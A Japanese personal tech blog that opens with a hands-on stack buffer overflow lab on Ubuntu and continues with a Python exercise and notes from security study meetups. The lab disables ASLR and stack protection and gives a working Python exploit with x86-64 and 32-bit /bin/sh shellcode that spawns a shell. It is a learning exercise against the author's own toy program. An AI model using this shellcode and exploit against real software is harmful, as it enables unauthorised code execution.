いろんなまとめ

IT技術系のことを気が向くままに書いていきます。勉強会の感想とか

簡単なバッファオーバーフローを試してみた。

「第20回ゼロから始めるセキュリティ入門 勉強会」でバッファオーバーフローについて発表しました。
https://weeyble-security.connpass.com/event/101572/

実際に試すためにいろいろやってみたので、備忘のためにの記事にしようと思います。

バッファオーバーフローとは?

そもそもバッファーオーバーフローってなんぞ、ってのは以下のサイトを参照してください。
バッファオーバーフロー(バッファオーバーラン)とは - IT用語辞典

ここから先の実装は、ももいろテクノロジー様のサイトを参考にさせて頂きました。※1

開発環境

さて、試した環境は,
VMware WorkStation12 Player で仮想環境上で試した。

Ubuntuの64bit版で試した。

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="18.04.1 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.1 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

バッファオーバーフローを起こすため、C言語で脆弱なプログラムを作成する。
gccのバージョンは以下の通り

$gcc --version
gcc (Ubuntu 7.3.0-16ubuntu3) 7.3.0
Copyright (C) 2017 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

脆弱なプログラムの作成

脆弱なプログラムは以下の通り。

include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char *argv[]){
    char buf[100];
    setlinebuf(stdout);
    printf("buf = %p\n", buf);
    gets(buf);
    puts(buf);
    return 0;
}

コードの意味を見てみると、まず、メモリを100確保する。
で、ポインタの位置をプリントする。
次に標準入力待ち状態になる。
入力された値をメモリに配置し、標準出力してプログラム終了。


コンパイルして挙動を確認してみる。

$ ./overflow 
buf = 0x7ffd13aede80
A
A

$ ./overflow 
buf = 0x7ffc642b46a0
ABC
ABC

$ ./overflow 
buf = 0x7fffc1bd00c0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (コアダンプ)

うん。
思った通りの挙動をしている。

実行する度、確保されるバッファメモリの位置が変わっていることが確認できる。

バッファオーバーフローを意図的に引き起こすため、防御機構の停止

バッファオーバーフローを実行するために、ASLR(Address Space Layout Randomization)※4とSSP(Stack Smash Protection)※5を停止する。
UbuntuでASLRを止めるには、以下のコードを実行する。

$sudo sysctl -w kernel.randomize_va_space=0
$ ./overflow 
buf = 0x7fffffffddf0
A
A

$ ./overflow 
buf = 0x7fffffffddf0
ABC
ABC

$ ./overflow 
buf = 0x7fffffffddf0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (コアダンプ)

うん、よしよし。
確保されているバッファの位置が一定になっていることがわかる。

SSPの無効化は、ソースコードコンパイルオプションで設定する。

$gcc -fno-stack-protector -z execstack -o overflow buffer_overflow.c

バッファオーバーフローを使ってshellを奪うコードの作成

そして、実際に攻撃するコードを作る。
こちらも、ももいろテクノロジーさんのコードをお借りする。

import sys
import struct
from subprocess import Popen, PIPE

addr_buf = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

buf = shellcode
buf += 'A' * (bufsize - len(buf))
buf += 'A' * (8 - len(buf)%8)  # alignment
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', addr_buf)

p = Popen(['./overflow'], stdin=PIPE, stdout=PIPE)
print("[+] read: %r" % p.stdout.readline())
p.stdin.write(buf+'\n')
print("[+] read: %r" % p.stdout.readline())
p.stdin.write('exec <&2 >&2\n')
p.wait()

ここは、参考にしたコードのままでは実行できなかった。
なんでかなー、と思ったところ、32bit版と64bit版でシェルコードが変わるらしい。
同じくももいろテクノロジー様の、以下のサイトにして新しいシェルコードを組み立てる。※3
具体的には、参考にさせて頂いたシェルコードは、以下のとおり

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

64bitの場合のシェルコードは以下のとおり。

shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

また、実行する際はpython2系で実行すること。
python3系で実行すると、ライブラリstructureの関数がうまく動かない。

で、実行してみると以下のようになる。

$ python exploit.py 0x7fffffffddf0 100
[+] read: 'buf = 0x7fffffffddf0\n'
[+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xdd\xff\xff\xff\x7f\n'
whoami
<ここはログインユーザの名前が表示>

python exploit.py 0x7fffffffddf0 100」を実行した段階で、入力待ちの状態になり、「whoami」を入力してEnter
これでログインユーザの名前が表示されたことから、バッファオーバーフローを使ってshellを奪うことが出来た。

まとめ

ここまで、簡単なバッファオーバーフローを使って、shellを奪うサンプルを試してみました。
しかし、実際はASLRやSSPが停止しているはずもなく、工夫を加えなければなりません。

こちらもももいろテクノロジー様のサイトに、検証のための記事が公開されておりますので、
そちらを参考に実装してみたいと思います。

Pythonで2つの文字列から共通の文字を見つける

最近Pythonの学習に使っているCheckioで面白い問題があったので、記事にしてみます。

Checkioについてはこちら

py.CheckiO - Python coding challenges and exercises with solutions for beginners and advanced

そして、問題は「Common Words」

問題の仕様は以下の通り

入力:二つの文字列(単語の区切りは「,」)

出力:共通する単語を文字列として出力(単語の区切りは「,」)

私の作った回答はこちら

 def func(arg1, arg2):
    li1 = arg1.split(',')
    li2 = arg2.split(',')
    ret = []
    for i in li1:
        if i in li2:
            ret.append(i)
    ret_val = ",".join(sorted(ret))
    return ret_val


print(func("one,two,three", "four,five,one,two,six,three"))

 ええと、なんとまぁ、手続き型の書き方なんでしょう。。。

回答としては正解していたのですが、なんとも不格好というか、ダサいというか、Pythonらしくないというか。。。

Checkioでは、問題に回答し、正解すると他の回答者の回答が見れるので、それを見て自分のコードを振り返ります。

一番いいなと思った回答はこちら

def func(first, second):
    return ','.join(sorted(set(first.split(',')) & set(second.split(','))))

 

気になったのは2つの引数の文字列から共通の文字列を探すはずなのに、if文がないこと。

ここで、このコードのポイントは2つあると考えました。

1.setオブジェクト
2.join関数の中の「&」

一つ目のsetオブジェクトについては、以下の部分が該当箇所かと。

sorted(set(first.split(','))

ここで文字列をカンマ区切りで配列に変換。

配列をsetオブジェクトに変換。
そしてアルファベット順に並び替え。
setオブジェクトについては、Pythonの公式ドキュメントを参照すると、「重複のない要素の順序なしコレクション」とのこと。

二つ目のjoin関数の中の「&」については、同じく公式ドキュメントを参照。
そこでは「s & t」は「集合s と 集合tで共通する新しい集合 」とのこと。

 

なるほど。if文なく共通する文字列を探している部分はここだったのか。
最終的に演算後の集合をカンマ区切りで文字列を作成し、関数の結果とし返す、と。

まだまだ頭が固いなーと思った問題でした。

第18回ゼロから始めるセキュリティ入門勉強会に参加して

ここ1ヶ月のセキュリティに関する事故を分析してみた 

ytakahashi1228さん

 
実際どういう事故が起こってんのよってのを調査
 
・セキュリティ事故とは
情報漏えいやどこからか攻撃された、マルウェアに何台感染したといったこと
 
・事故情報の収集元
Security Next
 
集計の前提条件
2018/06/23 ~ 2018/07/23
ただし、漏えい事件に絞る。
 
集計結果
全52件 一日平均1~2件
 
集計結果
USB紛失 6件
紛失 9件
ご送信10件
盗難 3件
システム不備 3件
人的ミス 2件
フィッシング 2件
誤破棄 1件
誤記載1件
不明 1件
 
分析
 
ヒューマンエラーが約半数
 
ヒューマンエラーの全25件中
自治体が14件
一般企業5件
医療系4件
学術団体2件
 
ytakahashi1228さん個人的な感想
自治体への暗号化製品は需要があるかも、、、
 
13件のうち4件は同じニュースの記事
 
ローカルプロキシツール Burp Suite
hoits123さん
 
今日初めての勉強会での発表らしい。
 
Burp SuiteはSpider機能が弱いらしい。
 
Burp Suiteの基本的な機能の説明
 
Scanner
シナリオ再生(ログイン後しかクロールできない場合などで利用)
 
Intruder
定型化されたパターンによる診断を行う。
 
Repeater
Proxyで(この先は汚れていて読めない
 
Sequencer
セッションの推測しやすさを計測する。
 
Extender
独自の拡張をインストールできる。
(新しい仕様に追随できていない)
 
Burpの欠点
Scanner頼り
 
ある程度ツールで診断できるようになったら、以下の文献を参照して勉強するとよい。
The Web Application Hacker's Handbook
 
 
エクスプロイトキットについて調べてみた
sec-chickさん
 
エクスプロイトキット RIG EK
サイトを見ただけで感染させることが出来る。
2018年における主要なエクスプロイトキット
RIG EK
Magnitude EK
Grandsoft EK
 
この辺の記事にも同じような傾向があることが書かれている。
 
 
 
実際にExploitLitによって感染した際のトラフィックはtraffic.moeというサイトで確認できる。
通信をダウンロードし、Fiddlerで閲覧可能
 
ここからは、一つ例にとって説明。
RigEK->SmokeLoader->ZeusPanda ← バンキングマルウェア
 
トラフィックの怪しいポイント
Head部分に他URLへアクセスさせようとしている。
長いパス
JavaScriptでなにか実行しようとしている。
プログラムのようなものが記載されている。
LANDINGPAGEでFrashの脆弱性があったため、該当する脆弱性を攻撃するコードが実行されている。
 
レピュテーションサイトの評価(X-Force)
脅威度は0または1。
レピュテーションサイトで調査でも検知されない可能性がある。
 
対策
セキュリティパッチを最新にする。
アンチウィルスソフトを導入する
あやしいサイトにはアクセスしない。
 
急きょLT!

Proxyを体験してみよう。

 
Proxyの設定ってめんどくさい!
一発でProxyが設定できるツールがある。
 
Tunnel Bear
インストールする
土管をくりっくする
これだけ。
 
・・・Proxyとちょっと違うのではないかと思ったのは秘密。
 
ARPスプーフィング
tokorotenさん
 
ARPスプーフィングについての説明がいろいろあったんですが、、、
発表を聞くことに集中していたら、内容メモするのわすれちゃいました。(てへぺろ
 
今回も勉強会への参加人数は30人ほど。
まだまだ他の発表者の方と比べて、内容が薄いので、もっとがんばらねば。

ゼロから始めるセキュリティ勉強会 #17に参加して

NSA crypto challenge 高橋さん

元のサイト
http://cryptochallenge.io/


暗号を使った問題
単一換字方式暗号を使った問題

→ 結構推理する力が必要そう

 

※番外編

情報収集
Security Next
いろんな情報漏えいをひたすら載せていく
政府業界動向タブを見ると、意外といろいろみれるかも

 

所感:

CTFのCypherを解く力がつけられそう。

ただ週替わりってところがネックかもw


・暗号化通信についてなんとなく 夏山さん

暗号化通信?SSLTLS

カード業界でPCI-DSSが更新され、3.2から3.2.1に更新
 → ざっくり暗号化通信設定で古いものはもう禁止

アドレスバーの緑の鍵のマークが表示されていればOK?
 → SSL/TLSで暗号化されています。と書かれているが?

TLSはほぼ1.2(最新は1.3)
実はSSLはほとんど使っていない。
ニンテンドーDSは対応。
ChromeFireFoxは非対応
IE、Edgeは規定で無効

SSL3.0が使われなくなった理由
POODLEの影響がでかい
POODLEはTLSでも一部の実装で刺さる

TLS1.0は使わない。脆弱性があるため。
PCIでもTCS1.1以上を使うよう推奨

どうせ使うなら1.1より、1.2でやろうよ。という業界の流れがある。

例)
・Office365はTLS1.0、1.1は無効
・PCIDSSは1.1を使おう。けど1.2を使うことを強く推し進める、となっている。

IPA SSL/TLS暗号設定ガイドライン
高セキュリティ型は1.2を使うようになっている。

 

SSL3.0を使っていることはまずい?

 → 希望の党の公式サイトにSSL3.0を有効にしているだけでバッシングされることがあった。

 

TLS1.2を使うだけではなく、さらに設定がある。
SHA1からSHA2に移行
googleの場合、SHA256 With RSA Encryption

 

TLSとは
公開鍵暗号方式、共有鍵暗号方式を使って通信を行う。

同じTLSのバージョンでも、暗号アルゴリズムによって、解読強度が異なってくる。
DES、DES3、RSA、RC4etc... ← 暗号スイート

自社内のサイトで使用できる暗号プロトコル、暗号スイート、暗号方式を検査できる。
https://www.ssllabs.com/ssltest/analyze.html

 

自社が保持しているサーバだったら確認してみてもいいかも

 

SSL/TLSのバージョン以外に設定する必要がある。
ビジネスや業界標準に準じる・

例)
PCIDSS:暗号スイートを定めていない
NIST:一番よく基準になる
政府系:CryptRec暗号リスト

 

所感:

今まで自分で証明書の運用などやったことがないが、実際に実装するとなると考えることが多そう。ただ、今回の発表を聞いてある程度考えなければいけないことが整理できたと思いました。


・IP/URL調査に使えそうなサイトをまとめてみた

bom@bomccss 不審メール関係をまとめたTwitter

コナン ゼロの執行人 最近のサイバーセキュリティ関連が密接にかかわってる。

※Aguse
対象のサイトを画像として表示させて、怪しいサイトではないか判断可能
目視確認用

 証明書、外部とつながるオブジェクト、ブラックリスト判定結果を出してくれる

-メールタブ
メールヘッダから、怪しいメールかどうか判断可能

-ゲートウェイ
スクリーンキャプチャを使った

Aguseで調査しても問題ない?
→ スパムメールに書かれたURLを検査すると、スパムメールが大量に来ることに、、、


※Threatcrowd
ドメインやIPから、そこに関連する別のIPやドメインを視覚的にわかりやすく表示してくれるサイト


※Passive Total
RiskIQ社から提供されている
過去のIPやドメインが収集されている。

VirusTotal
ファイルや、ハッシュ値を送信すると、複数のウィルス対策ソフトで検索してくれるサイト
有料会員は、アップされたファイルをダウンロードできるので、機密情報をアップロードしないこと

※ThewatMiner
IOCを検索可能
様々なサイトを網羅的に表示してくれるサイト

IBM X-Force Exchange
あんまり検知制度がよくない
レピューション情報を載せてくれる

番外編

WARPDRIVE
NICTから提供されているウェブ媒介型サイバー対策プロジェクト

タチコマが教えてくれる
ただしメモリを200MBとか食う(笑)

 

所感:

たまーにVirusTotalを使ったくらいなので、今回の話は参考になりました。

いろいろなサイトを使ってウォッチしてみようと思います。

 

・SQLiとそのlogについて 日留川さん

 

ブログ書いてます。
http://nekotosec.com

 

検証環境の構成

ホスト:WindowsServer

VM1:脆弱性のある環境 Ubuntu18  MySQL5.7

VM2:KaliLinux
NAT環境で接続

 

SQLMapを使ったデモ

 

logを見てみる
 → Apacheアクセスログ
 → Ubuntu16の場合、/var/log/aapche2 内にアクセスログが残る

ツールを流した場合、手で流した時と比べ圧倒的に大量のログが残る
PCIDSS要件でも、ログは一日一回見よう等推奨されている。

挙動に反応できれば、被害を抑えることができるのではないかと思う。

 

所感:デモもあり面白かった。自分の構築したかった今日で試していたので、自分も追いつけるように頑張らねば、、、

 

私は、というと、ZipSlipについて、お話をしました。

以下に資料を用意いたしましたので、興味があればご覧ください。

ちょっと話題になったzipslipについて 試してみた。 - Google スライド

 

以上です。

第9回ゼロから始めるセキュリティ勉強会に参加してきました!

ゼロから始めるセキュリティ勉強会 第9回目

 

セキュリティ対策の検討ポイント @ytakahashi1228さん

実体験をベースに説明


理想
セキュリティ対策の検討ポイント

セキュリティ要件の洗い出し
脆弱性の洗い出し
セキュリティ脅威の洗い出しの評価
セキュリティ対策の方針決定
セキュリティ対策の実施

実際
実際は頓挫することが多かったかも。。。

対策以前にとにかく解析してほしい、とにかく対策してほしい!
→なにかが起こってからの対策が多い

・実施の進め方

ウイルス感染
 初動
  LANケーブルを抜く
  シャットダウンせずにそのまま問い合わせ
 
 とにかく解析
  セキュリティ対策ベンダへのフォレンジック調査
  端末調査(どう感染したか)、環境調査(どう広がったか)があるので、何を調査するかも相談しながら
  金額も調べとく(実際は結構高い)
  
 とにかく対策
  その事象にあった対策がベスト
  フォレンジック結果をもとに対策したいけど、、、待ってくれない(対外的な報告や業務の復旧のため)
  基本だけ抑えとくといい

  基本的な対策と設定の確認
   端末:アンチウィルスソフト、端末調査ソフト
   入口:ファイアウォール、IPS
   出口:サンドボックス
   教育:セキュリティ対策教育(結構見落としがち)
   運用:運用ルールの見直し
   
   上記の観点で確認していき、今回の観点で防げたか、今後も防げるのか
   これ以外にプラスアルファできるものはないか
   
 報告書にまとめる
  先ほどの観点でざっくりまとめる
  フォレンジックの結果をもとにまとめると精度が高い
  
  
まとめ
 どんな機能と効果があるかをまとめておくといい
 何かあったときの問い合わせ先をはっきりさせておく
 金額面も考慮

感想
 実体験に即した、一般的な観点とは違う切り口で新鮮でした。

 

セキュリティ用Linuxディストリビューションの紹介 @momomopasさん

KaliLinux
 Debianベース
 ぺネトレーション
 フォレンジック
 リバースエンジニアリング
 wifi
 
Parrot Security OS
 Debianベース
 フォレンジック
 暗号化ソフトウェア
 プライバシー保護
 プログラミング

Back Box
 Ubuntuベース
 ぺネトレーション
 フォレンジック
 Wifi

Pentoo
 Gentoo
 
Black Arch Linux
 Arch Linux
  Kaliよりツールが多い
  
SAURAI WEB TESTING FRAMEWORK
 Webアプリケーションテストに特化
 
Weak net Linux
 Debianベース
 KaliよりWifiツールがおおい
 
Matorix
 Debianベース
 
DEFT
 Ubuntuベース
 フォレンジック特化
 
CAINE
 Ubuntu
 フォレンジック特化
 
BugTraqs
 UbuntuDebianベース
 モバイルフォレンジックがKaliより多い
 
SANTOKU
 Lubuntu
 モバイルフォレンジック
 モバイルマルウェア
 モバイルセキュリティ 特化
 
REMnux
 Ubuntu
 マルウェア解析

 

感想

思った以上にいっぱいあった。
知らない世界がたくさんあったので、用途に合ったディストリビューションを選んでいきたい。

ペネトレーションテストってなんだろう? @horyさん


とあるWebアプリケーション屋さん

お客さんから脆弱性診断について聞かれることが、年々変化していっている。

 

4,5年前
脆弱性診断してますか?

webアプリ診断とプラットフォーム診断してますか?

三者によるwebアプリ診断とプラットフォーム診断してますか?

ぺネトレーションテストしてますか?

webアプリのぺネトレーションテストとプラットフォームのぺネトレーションテストしてますか? ←今ここ

 

ぺネトレーションテストの意味するところを事業者に聞くと以下のような答えが、


通常パターン「ツールに加えて手動の診断を加えます。」
本気パターン「電話とかメールとか使ってあらゆる手段で試みてみます。」

 

→ぺネトレーションテストがどの範囲なのか事業者ごとにばらつきがある気がする。

 

聞いてくる側も実はふわっと聞いているんじゃなかろうか

見つかった脆弱性に優先順位とつけ、どれを対策するかを考えるのがぺネトレーションテストでは、、、

 

感想

ぺネトレーションテストに関しては、自分自身も定義づけがあいまいだと思う。。。

整理するいい機会になりました。

 

不審メールのダウンローダスクリプト解析について @hiroさん

不審メールの分類
最近のばらまきメールの傾向

zip、xlsxが添付されたメールが多い

2017年の6月くらいからxlsxが増えてきた。

 

ダウンローダは難読化されている。
解析するとダウンロード、ペイロードの場所を特定できるかもしれない。

 

自分で解析する場合の方法は3種類

  • 表層解析
  • 動的解析
  • 静的解析

動的解析する場合、マルウェアにAnti-Debugging機能がついていることがある。

Anti-Debugging
 仮想環境によるふるまいを検知すると動きを止める
 
 fakeSandBoxで検索

自前で解析するのが大変な場合、以下のような方法が考えられる。

  • 解析済みの情報を収集する(主にツイッター)
  • 解析サイトで解析(Hybrid Anarysys)

・・・いろんなばらまきメールの解析デモ・・・

 

ダウンローダ解析のまとめ
解析する場合は十分注意してやりましょう。

 

感想

マルウェア解析のノウハウが豊富で非常に面白かった。

自分も自前で解析できるレベルまでいきたい。

 

社内社外監査対応について @Ex1_asami9244

セキュリティ監査とは
 経営や業務の活動が適切におこなわれていることを法令や規則に照らし合わせて点検・評価すること
 
 監査を受けるメリット
  第三者に対しての信頼の獲得
  課題の明確化(どこを目指すのか)
  情報セキュリティマネジメントの確立(ステップの方向性がわかる)
  業界基準など適合性の評価(公官庁、金融関係は厳しい)
 

よくある企業の構成として、内部監査を行う部署と、リスクコンプライアンスの部署がある。


内部監査:内向けの部署
リスクコンプライアンス:外向けに発信する部署

 

監査ではどんなことを見るのか

ログの収集
 外部データログ
 webサイトアクセス制限のログ
 フォルダ・ファイルのアクセスログ


ファイル権限の管理
 SharePoint
 Exchange
 ファイルサーバ
 
各社ID管理
 Office365
 ActiveDirectory
 PCのアプリケーション ユーザID

 

感想
監査って、ざっくりしたイメージしかなかったけど、ある程度理解を深めることができたと思います。

フリーのWAFを使ってみた @tokoroten0813さん

WAF(Web Application Framework)とは

アプリケーションレイヤでチェックをかける
Ex)スクリプトタグが入っていたら、そのリクエストを切ってしまう。

WAF運用の注意点
 Webアプリケーションの脆弱性を埋めたうえでWAFを入れる
  WAF側での対応漏れがあったり、WAFにも脆弱性がある。。。
 
 不正な入力として認識してほしくないリクエストをとめちゃう(CMSとか)
 
実際遭遇した事例
 
 SQLインジェクション脆弱性があった
 httpだと、WAFが効いてデータを引っこ抜けなかったのに、HhttpsだとSQLインジェクションでデータ引っこ抜けた
 →SSLで暗号化されていてWAFがリクエストの中身を見ることができなかった
 

 よくある導入事例
  PCIDDSにWAF入れといてねって書いてあるから入れてみた。
  →その結果、HTTPSの対応忘れで意味ない場合がある
 
 WAFはお金がかかる
 「ModSecurity」がおすすめ
 ・無料
 ・Apatchモジュールで動作
 ・カスタム設定はもちろんOWASPおすすめ設定もできるよ!
 
 デメリット
 ・なにかあっても自分が悪い
 ・情報が少ない
 ・おすすめ設定だと、Webアプリの動作がおかしくなる可能性(IPAの資料が非常に参考になる)
 

まとめ
 WAFは水際対策というイメージをもつこと

 

脆弱性って何さ? @oba

 時間の関係上カット

 

参加した感想

 勉強会でLTをやる人が増えて、時間がカツカツだった!

 それだけ盛り上がってきているんだと思う。

 自分より技術力が高い方に負けないよう、モチベーションが上がった!

 

ゼロから始めるセキュリティ勉強会第8回に参加してきました!

 

2017年7月24日にゼロから始めるセキュリティ入門に参加してきました。

私自身も「SQLインジェクション With B〜そこの君、油断してないか!?」という題材でLTやってきました。

サブタイトルは友人の進めもあり、つけたもので特に理由なんてなかったりする。

 

では、発表の内容をまとめていきます。

 

#内部犯行の歴史 ytakahashi1228


イメージはスパイ

 情報漏えいを中心とした事例を年代ごとに追っていく

・内部犯行の歴史
・内部犯行の対策・まとめ

2000年
 エンターテイメント系:266人の個人情報が漏えい
ネットショップ経由で漏れたんじゃないか→内部犯行の可能性

2004年
 通信系
 452万人の個人情報の漏えい
 個人情報が保存されていたフォルダには社員誰でもアクセスできた

2006年
 自治体の個人情報の漏えい、精密機器メーカーの協力会社
 400万件くらいの情報
 協力会社がコピー、一部Webに公開

2010年
 端末を紛失による被害
 10万件の氏名と生年月日が漏えい
 社員帰宅時の端末の紛失 飲んだら持つな

2011年
 製造業での漏えい
 1憶261万3000件の情報漏えい
 不正アクセスによる漏えい

2014年
 教育系
 スマートデバイスを利用した情報漏えい事件
 最大2070万件
 協力会社員の不正データ持ち出し

2015年
 社内のオペレーションミスによる漏えい
 広告系
 3.7万件、年収750万円以上の人の情報漏えい
 メール誤送信

 サービス系
 3200万件の電話番号などの情報が漏えい
 インパクトチームによる不正アクセス、政府系やドメインも、、、

対応策・まとめ
 漏えいの規模が大きくなっている
 社内はざるのことが多い
  ・データ持ち出し、ミスで簡単に漏えい
  ・社内通信お暗号化も必要かも
 会社は社員を大事に
  ・報復活動
  ・協力会社でも風通し良く
プライベートなやり取りは必ず自分でデバイス

 

感想:個人的に会社は社員を大事にってところに大きく賛同。

   内部犯行のほとんどは報復ってのもうなずけるしね。

#セキュリティの学び方 momomopas


 心構え
 勉強法
 情報収集

 心構え
  セキュリティにアンテナを張る
  (英語を学ぶ)

 勉強法
  書籍:情報セキュリティの基礎知識、実践サイバーセキュリティモニタリング
  ネット:絵とか図があるのが一番、ググる。英語で調べた方が新しい
  実機:VMWare, ViurtualBox 仮想化ソフト

 情報収集
  ツイッター
  個人ブログ
  セキュリティベンダのホワイトペーパー

  SecurityNext:インシデント情報
  IPA

  GoogleAlert:自分の興味のあることを登録すると、ブログや記事をまとめてメールで通知してくれる
  IFTTT 
  セキュリティクラスタまとめ
  piyolog

  udemy 動画で勉強できる

CYMRARY:無料でできるサイト ただし英語

youtubeでKaliLinuxとか調べるとデモ動画が出てくる
脆弱性情報データベース

 

感想:個人的にCYMRARYは利用してみたいなぁと。

   こういう勉強法さらしてくれるのはうれしい。

   (やっぱpiyologは偉大だった。)

#ノンセキュリティエンジニアによるセキュリティ obaさん


用語が多すぎ。。。
最初に覚えること
 ニュースで話題になっていること+業務に必要なこと+絶対に覚えなければいいけないこと

そのうえでセキュリティ上の対策を

 用語、理論を入れて、実践する → 用語、理論を入れて、実践するの繰り返し

 

感想:用語が多いのは同意。でも、攻撃や仕組みを理解すると用語も覚えられるから、興味のあるやつから見てくってのが個人的におすすめかも

 

#S2-045(struts2脆弱性デモ) tokoroten0813

 

Apatch Struts2とは
 Webアプリケーションフレームワーク

 Struts1にはない「OGNL(Object-Graph Navigation Language)」という機能が悪さする
 Content-Typeにごにょごにょいれる

Jakalta MultiPart parserという構文解析に問題があってやられてしまった。

 

話したかった理由
 攻撃スピードが速かった
 3/6に3/8に攻撃が成功していた。
 この速さに今後どのように対応していくか

現場からの意見でのサイト停止はむずかしいかな、、、と
上司に相談するとめんどくさい、被害予想、検証etc... 個人的にやりたくない
  (更新しても、すごい検証等めんどくさい)
きっとWAFベンダがやってくれるだろう。。。

  脆弱性公開 → 攻撃 → 被害 みたいなサイクルが早くなってくるだろう

  CSIRTとか必要になってくるだろう
  現場はデスマになるだろうなぁ。。。

  日本の会社は、技術を知らない人が上に立つことがあるから、今後は上の人にも技術が必要だよなー

 

感想:Strutsのデモは初めて見た!

   PoCとかできるだけ自分で手を動かして検証していかないとなー

#HTTPプロトコルについて ~使ってみよう開発者ツール hiroさん


 マイニャンバーカード交付!

 セキュリティはどこから勉強したらよいか
 HTTPの理解から始めてみよう!

 HTTPプロトコルの概要
  Getでサーバにリクエストを送り、レスポンスでサーバからのデータを取得

  HTTPのプロトコルレイヤ どのレイヤでどのような事象が起きているか想像できると理解しやすい

  BurpSuiteとかOWASPZAPとかで見るのがいいけど、、、
  会社のPCだと管理者権限がなくインストールできない、、、

  そうだ!ブラウザ標準の開発者ツールを使おう!
  HTTPのmethod

  GET:アドレスバーに表示される。Proxyログ、HTTPログに見える
  POST:アドレスバーに表示されない。Proxyログ、HTTPログで見えない

  HTTP検索エンジン FreshEngine

 HTTPリクエストヘッダ
  User-AgentとRefererから漏れる情報
   ipとかどのページから来たかとか、Webブラウザの情報、OSの情報
   使用している言語とか
   web広告とかはここを見て出す広告を決めてる

 レスポンスヘッダ 
  Last-Modifiedと If-Modified-Since
Last-Modified:最後に更新した日時
If-Modified-Since:変わってたら送って!
変わってなかったら。。。 304:Not Modified

ステートレスとCookie
 状態を保持しない
 次のページに遷移した際、前の情報を保持する必要がある
  → Set-Cookie Cookie Referer

Cookieを読めば認証情報を盗める

 

物事をレイヤに置き換えると理解しやすいかも

 

感想:知らない情報がいろいろあった。

   もう知ってると思ってたけど、開発者ツールも奥が深いなぁと思いました。

 

8月にもまた開催されるそうです。

次はどんな話が出るかとワクワクしています。

それと同時に自分のアウトプットの場として利用していきたいですね。

Python入門者の集い#5に参加してきました!

 

渋谷ヒカリエ17階(レバレジーズ本社)でPython入門者の集い#5が開催されました。

仕事帰りに参加してきました!

 

LT発表者が11人と非常に大人数でした。

 

LTの内容をメモ程度残したものをポチポチ書いていきます。

#pythonと出会ったインフラエンジニアの話

python-mini-hackathonに参加
pythonの本を書いたらしい。
「スラスラわかるPython」という本

 

プログラムを触ってこなかったインフラエンジニアがpythonを触ろうと思った理由

プログラマ希望だったけど、プログラムが触れない部署にいた
Perlを触っていたけど、挫折

Pythonはわかりやすいらしい

3日前に自分の書いたコードを読んで意味が分かって「イケる」と思った。

pyhackに参加したことがすごくよかった

コミュニティーとのかかわり

いいサイクル
勉強会で学ぶ→仕事で使う→それにかかわる仕事が舞い込む→勉強会のネタがはかどる

人との関わり
思わぬ出会いがあり、可能性が広がる
楽しいことは継続しやすい

#わたしとpythonとの付き合い方


PyConJP2017 Pythonista
プログラミングってなんだっけ

 

プログラミングの外側から見る

アナログ信号を変換しコンピュータが解釈できる構造を作っていく作業

データとコードは文脈が違うだけ
バッファオーバーランの原因にも

 

プログラミングはデータを作る。。。(?)

 

プログラミングを内側を見る

気づきを得るため
プログラミングはプログラムを作ること
データをプログラムに昇華する。

 

ほんとの答えは心の中

 

Pythonである必要あるの?

pythonは道具
使える場面があるなら使う。使い続ける

Django

道具にもよいもの悪いものがある。

 

エモい話(?)でした。

#営業職のプログラミング初心者がpythonと格闘した

新社会人 4ヵ月目
バレージ 7月7日浴衣出勤デーがある。

「レバレージ」という文言の入ったツイートを取得するプログラムを作るよう上司から言われた。

 

ライブラリ シラネ状態

 

いろんな人の助けを借りて何とか完成した。

 

よかったこと
自分っで作ったものが動く楽しさを知れた。
エラー解消が快感に

何がわからないのかわからない ← あるある

 

#プログラミング初心者がPythonで日本語を話す

新社会人4か月目
